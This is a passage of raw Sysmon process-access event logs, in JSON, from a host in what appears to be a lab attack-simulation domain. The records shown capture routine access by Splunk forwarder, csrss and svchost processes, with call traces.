2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nSourceProcessId: 3832\r\nSourceThreadId: 3836\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010D8CD0200}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00101DCD0200}","SourceProcessId":"3832","SourceThreadId":"3836","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010D8CD0200}","TargetProcessId":"3852","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1608,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010D8CD0200}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010D8CD0200}","TargetProcessId":"3852","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1609,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1610,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1611,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1612,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1613,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1614,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1615,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 